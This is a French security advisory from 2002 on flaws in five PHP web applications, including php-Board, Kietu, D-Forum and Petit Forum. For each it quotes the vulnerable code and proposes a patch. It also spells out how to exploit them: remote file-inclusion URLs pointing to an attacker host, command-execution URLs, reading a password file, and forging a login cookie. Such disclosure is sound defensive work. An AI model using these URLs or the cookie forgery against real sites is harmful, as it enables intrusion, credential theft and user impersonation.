5 holes, Part 8 *************** Intro : ******* Free Tibet ! Date : ****** 18 Juillet 2002 Services : ********** - php-Board - Kietu ? - DotBr - D-Forum - Petit Forum Developpements : **************** 1) php-Board ~~~~~~~~~~~~ http://www.hp-planet.de Version : ''''''''' 1? Problème : '''''''''' - Récuperation des passwords admins/users Developpement : ''''''''''''''' On peut voir dans login.php le code suivant : ----------------------------------------- function passwd2($user) { $password="nicht registriert"; if (file_exists("user/".$user.".txt")) { $fp = fopen("user/".$user.".txt","r"); $data = fgetcsv($fp,10000,"#"); fclose($fp); $password=$data[0]; } return($password); } ----------------------------------------- On pourra donc recuperer le password de PSEUDO, qui est le premier element (le premier avant le caractere #) de la ligne contenue dans le fichier PSEUDO.txt, lui même contenu dans le dossier http://[target]/user/ . 2) Kietu ? ~~~~~~~~~~ http://kietu.free.fr Version : ''''''''' 2.0, 2.3 Problème : '''''''''' - Inclusion de pages Developpement : ''''''''''''''' Voici la description du service (par l'auteur ?) : "Ce script, facile d'utilisation mais très complet, permet d'obtenir des statistiques détaillées sur votre site internet : référants, pages vues, os, navigateur utilisé , ... Ainsi que le nombre de visiteurs et de pages vues par heure, jour de la semaine, jour du mois et même sur l'année. Ce script peut gèrer plusieurs sites en même temps." Dans le fichier hit.php de ce service, on peut voir la ligne : require ($url_hit."config.php"); On peut donc utiliser cette ligne de cette façon : http://[traget]/hit.php?url_hit=http://[attacker]/ pour donner le code : require ("http://[attacker]/"."config.php"); et donc utiliser la fonction require() sur le fichier http://[attacker]/config.php . Dans la version 2.3, il y a un changement. On peut voir le code : ------------------------------------------------------------------ if (!get_cfg_var("register_globals")) { $kietu["remote_addr"] = $HTTP_SERVER_VARS["REMOTE_ADDR"]; $kietu["http_user_agent"] = $HTTP_SERVER_VARS["HTTP_USER_AGENT"]; $kietu["website"] = $HTTP_GET_VARS["website"]; $kietu["appel"] = $HTTP_GET_VARS["appel"]; $kietu["http_referer"] = $HTTP_SERVER_VARS["HTTP_REFERER"]; $kietu["php_self"] = $HTTP_SERVER_VARS["PHP_SELF"]; $kietu["url_hit"] = $HTTP_GET_VARS["url_hit"].$url_hit; } else { $kietu["remote_addr"] = $REMOTE_ADDR; $kietu["http_user_agent"] = $HTTP_USER_AGENT; $kietu["website"] = $website; $kietu["appel"] = $appel; $kietu["http_referer"] = $HTTP_REFERER; $kietu["php_self"] = $PHP_SELF; $kietu["url_hit"] = $url_hit; } require ($kietu["url_hit"]."config.php"); ------------------------------------------------------------------ Ce qui ne change rien ni à la faille ni à l'exploitation. La seule difference est que, si register_globals est OFF, $url_hit ne pourra être définit que dans une url, pas dans une variable POST ou dans un cookie. Patch : ''''''' Remplacer dans hit.php la ligne : require ($url_hit."config.php"); par : --------------------------------------- if (file_exists($url_hit."config.php"){ require ($url_hit."config.php"); } --------------------------------------- Un patch peu être trouvé sur http://www.phpsecure.org. Cet article a été publié dans 'the Hackademy Journal 01" d'octobre 2002. 3) DotBr ~~~~~~~~ http://dotbr.org Version : ''''''''' 0.1 Problèmes : ''''''''''' - phpinfo(); - Récuperation des infos de la DB SQL - Shell php ( system() et passthru() ) Developpement : ''''''''''''''' a) Le fichier foo.php3 contient le code : . Il suffit donc de visiter cette page pour avoir de nombreuses informations sur la configuration de la machine. b) De plus les informations suivantes : - Email du webmaster - Serveur SQL - Login SQL - Password SQL - Nom de la DB SQL se trouvent dans le fichier config.inc . c) Enfin le meilleur :) Le fichier admin/exec.php3 contient le code : ---------------------------------------

--------------------------------------- et le fichier admin/system.php3 le code : ---------------------------------------

--------------------------------------- On peut donc executer des commandes grâce aux urls : http://[target]/admin/exec.php3?cmd=[COMMAND] http://[target]/admin/system.php3?cmd=[COMMAND] Patch : ''''''' Il y aurait beaucoup à faire pour sécuriser. En attendant de changer de produit ou de version, le plus radical serait de : a) Supprimer foo.php3 b) Renommer config.inc en config.inc.php, et ne pas oublier de changer les codes y faisant appel (pontobr.inc, sql.inc,...). c) Supprimer exec.php3 et system.php3 . 4) D-forum ~~~~~~~~~~ http://www.adalis.fr/adalis.html Version : ''''''''' 1.00 -> 1.11 Problème : '''''''''' - Inclusion de fichiers Developpement : ''''''''''''''' D-Forum est un forum très complet avec administration, identification des membres, modérateurs, smileys, skins, anti-flood, HTML ou pas au choix, langage "D-Code",... D-FORUM est lui aussi affecté par une faille include(). Encore une fois il y a une restriction, mais qui permet juste de ne pas générer une erreur, et donc un path disclosure, à l'affichage de la page touchée. Comme quoi même les gros services sont touchés par des failles les plus basiques. Dans le dossier /includes/, on peut voir les 2 fichiers footer.php3 et header.php3 . Dans footer.php3, on peut voir en fin de script : --------------------------- ... if ($my_footer!="") { include ($my_footer); } else { ?> ... --------------------------- et au debut de header.php3 : --------------------------- ... -------------------------- On peut donc inclure le fichier http://[attacker]/script.txt avec l'url http://[traget]/includes/footer.php3?my_footer=http://[attacker]/script.txt ou l'url http://[target]/includes/header.php3?my_header=http://[attacker]/script.txt. Patch : °°°°°°° Dans footer.php3, remplacer les lignes --------------------------- if ($my_footer!="") { include ($my_footer); } else { ?> --------------------------- par -------------------------------------- if (file_exists($my_footer.".php3")) { include ($my_footer.".php3"); } else { ?> ------------------------------------- Et dans header.php3, remplacer les lignes --------------------------- -------------------------- par ------------------------------------- ------------------------------------- On pourrait se dire que la sécurisation n'est pas bonne, car on pourrait à nouveau inclure n'importe quel fichier exterieur d'extension .php3. Mais la fonction file_exists() (et je remercie au passage PassRetrieve) a la particularité de ne pas reconnaître comme "existant" un fichier venant d'autre part que du localhost. Un patch peu être trouvé sur http://www.phpsecure.org. Cet article a été publié dans 'the Hackademy Journal 01" d'octobre 2002. 5) Petit Forum ~~~~~~~~~~~~~~ http://mathosphere.free.fr Version : ''''''''' 1 ? Problèmes : ''''''''''' - Récuperation d'infos - Usurpation des pseudos Developpement : ''''''''''''''' Comme son nom l'indique, c'est un petit forum. On peut y trouver une inscription de membres, une partie admin et 2/3 autres petites choses. La première faille qui affecte petitforum est une faille toute bête de stockage de données dans un fichier lisible par tous. La deuxième que nous pouvons voir est une faille PHP encore une fois fort répandue, utilisable de façons differentes, c'est celle de la fonction setcookie(). Elle est dûe à une certaine ignorance des webmasters face aux cookies. Dans inscription.php, on peut voir le code suivant (que je commente) : -------------------------------------------------------- ... if (($name) && ($pass) && ($mel)) // Si les variables $name, $pass, $mel ne sont pas vides, { //qu'on a donc remplit les 3 champs du formulaire, $name=ereg_replace(":", "",$name); // on enleve : de $name, $mel=ereg_replace(":", "",$mel); // on enleve : de $mel, $passc=crypt($pass,"leforumlamathosphere"); //on crypte le mot de passe $passc=ereg_replace(":", "",$passc); // on enleve : du passe crypté $liste = "$name:$passc:$mel\n"; // on stocke les 3 infos dans une valeur; $liste, $flag=true; // la valeur flag vaut true $fp = fopen ("secret/liste.txt", "r"); // on ouvre le fichier secret/liste.txt en lecture. while (!feof($fp)) { // Tant qu'ont est pas au bout du fichier, $lignee = fgets($fp, 4096); //] $ligne[$i]=explode(":",$lignee); //]--> on verifie que que le pseudo n'existe if ($ligne[$i][0]==$name) $flag=false; //] pas déjà. Si c'est le cas, flag vaut $i++; //] false. } fclose($fp); // On ferme le fichier en lecture. if ($flag==true) { // Si flag vaut true, $fp = fopen("secret/liste.txt","a"); // on ouvre le fichier secret/liste.txt en ecriture, fwrite ($fp, $liste); // on inscrit les 3 infos dedans fclose ($fp); // on le ferme en ecriture, echo "Inscription réussie !"; // on confirme l'inscription. ... -------------------------------------------------------- On a donc une première faille : le mot de passe crypté, le pseudo et l'email de tout les membres se trouvent donc dans le fichier http://[traget]/secret/liste.txt . Sur un site n'utilisant pas de produit open source, cette manière d'enregistrer des données n'est pas trop dangereuse, si elle est bien utilisée. Mais ici, le fichier secret/liste.txt est invariable. On est donc au courant qu'il existe et de ce qu'il contient. Une deuxieme faille se trouve au niveau de l'identification. Le script d'envois de messages, message.php, repère ses membres grâce au cookie nommé "connecte". Si on est loggé en tant que PSEUDO, notre cookie sera "connecte=PSEUDO" (à lire "nom=valeur") . Il suffit donc d'envoyer un cookie avec comme nom "connecte" et comme valeur [NICKNAME] sur message.php pour être considéré comme celui a qui appartient le pseudo [NICKNAME]. La plupart des webmasters pensent que les cookies ne peuvent pas être créés en dehors et par une personne exterieure au site. Patch : °°°°°°° a) Utiliser des .htacces ou enregistrer dans un .php . b) Utiliser les sessions. Cet article a été publié dans 'the Hackademy Journal 02" de novembre 2002. Credits : ********* frog-m@n leseulfrog@hotmail.com